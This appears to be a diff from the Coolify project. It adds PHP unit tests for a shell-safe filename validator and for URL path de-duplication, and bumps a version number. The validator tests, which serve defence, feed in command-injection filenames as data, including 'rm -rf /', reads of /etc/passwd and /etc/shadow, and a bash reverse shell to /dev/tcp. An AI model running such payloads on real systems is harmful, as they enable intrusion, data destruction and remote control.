expect(fn () => validateShellSafePath('01_schema.sql', 'init script filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('init-script.sh', 'init script filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename'))
->not->toThrow(Exception::class);
});

View file

@ -0,0 +1,83 @@
<?php
/**
* Proxy Configuration Security Tests
*
* Tests to ensure dynamic proxy configuration management is protected against
* command injection attacks via malicious filenames.
*
* Related Issues: #5 in security_issues.md
* Related Files:
* - app/Livewire/Server/Proxy/NewDynamicConfiguration.php
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
*/
test('proxy configuration rejects command injection in filename with command substitution', function () {
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration escapes filenames properly', function () {
$filename = "config'test.yaml";
$escaped = escapeshellarg($filename);
expect($escaped)->toBe("'config'\\''test.yaml'");
});
test('proxy configuration escapes filenames with spaces', function () {
$filename = 'my config.yaml';
$escaped = escapeshellarg($filename);
expect($escaped)->toBe("'my config.yaml'");
});
test('proxy configuration accepts legitimate Traefik filenames', function () {
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
test('proxy configuration accepts legitimate Caddy filenames', function () {
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});

View file

@ -0,0 +1,150 @@
<?php
/**
* Unit tests to verify that serviceParser() correctly handles path appending
* to prevent duplication when SERVICE_URL/SERVICE_FQDN variables have path values.
*
* This tests the fix for GitHub issue #7363 where paths like /v1/realtime
* were being duplicated on subsequent parse() calls after FQDN updates.
*/
test('path is added when FQDN does not already contain it', function () {
$fqdn = 'https://test.abc';
$path = '/v1/realtime';
// Simulate the logic in serviceParser()
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/v1/realtime');
});
test('path is not added when FQDN already contains it', function () {
$fqdn = 'https://test.abc/v1/realtime';
$path = '/v1/realtime';
// Simulate the logic in serviceParser()
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/v1/realtime');
});
test('multiple parse calls with same path do not cause duplication', function () {
$fqdn = 'https://test.abc';
$path = '/v1/realtime';
// First parse (initial creation)
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/v1/realtime');
// Second parse (after FQDN update)
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/v1/realtime');
// Third parse (another update)
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/v1/realtime');
});
test('different paths for different services work correctly', function () {
// Appwrite main service (/)
$fqdn1 = 'https://test.abc';
$path1 = '/';
if ($path1 !== '/' && ! str($fqdn1)->endsWith($path1)) {
$fqdn1 = "$fqdn1$path1";
}
expect($fqdn1)->toBe('https://test.abc');
// Appwrite console (/console)
$fqdn2 = 'https://test.abc';
$path2 = '/console';
if ($path2 !== '/' && ! str($fqdn2)->endsWith($path2)) {
$fqdn2 = "$fqdn2$path2";
}
expect($fqdn2)->toBe('https://test.abc/console');
// Appwrite realtime (/v1/realtime)
$fqdn3 = 'https://test.abc';
$path3 = '/v1/realtime';
if ($path3 !== '/' && ! str($fqdn3)->endsWith($path3)) {
$fqdn3 = "$fqdn3$path3";
}
expect($fqdn3)->toBe('https://test.abc/v1/realtime');
});
test('nested paths are handled correctly', function () {
$fqdn = 'https://test.abc';
$path = '/api/v1/endpoint';
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/api/v1/endpoint');
// Second call should not duplicate
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/api/v1/endpoint');
});
test('MindsDB /api path is handled correctly', function () {
$fqdn = 'https://test.abc';
$path = '/api';
// First parse
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/api');
// Second parse should not duplicate
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/api');
});
test('fqdnValueForEnv path handling works correctly', function () {
$fqdnValueForEnv = 'test.abc';
$path = '/v1/realtime';
// First append
if (! str($fqdnValueForEnv)->endsWith($path)) {
$fqdnValueForEnv = "$fqdnValueForEnv$path";
}
expect($fqdnValueForEnv)->toBe('test.abc/v1/realtime');
// Second attempt should not duplicate
if (! str($fqdnValueForEnv)->endsWith($path)) {
$fqdnValueForEnv = "$fqdnValueForEnv$path";
}
expect($fqdnValueForEnv)->toBe('test.abc/v1/realtime');
});
test('url path handling works correctly', function () {
$url = 'https://test.abc';
$path = '/v1/realtime';
// First append
if (! str($url)->endsWith($path)) {
$url = "$url$path";
}
expect($url)->toBe('https://test.abc/v1/realtime');
// Second attempt should not duplicate
if (! str($url)->endsWith($path)) {
$url = "$url$path";
}
expect($url)->toBe('https://test.abc/v1/realtime');
});

View file

@ -1,10 +1,10 @@
{
"coolify": {
"v4": {
"version": "4.0.0-beta.451"
"version": "4.0.0-beta.452"
},
"nightly": {
"version": "4.0.0-beta.452"
"version": "4.0.0-beta.453"
},
"helper": {
"version": "1.0.12"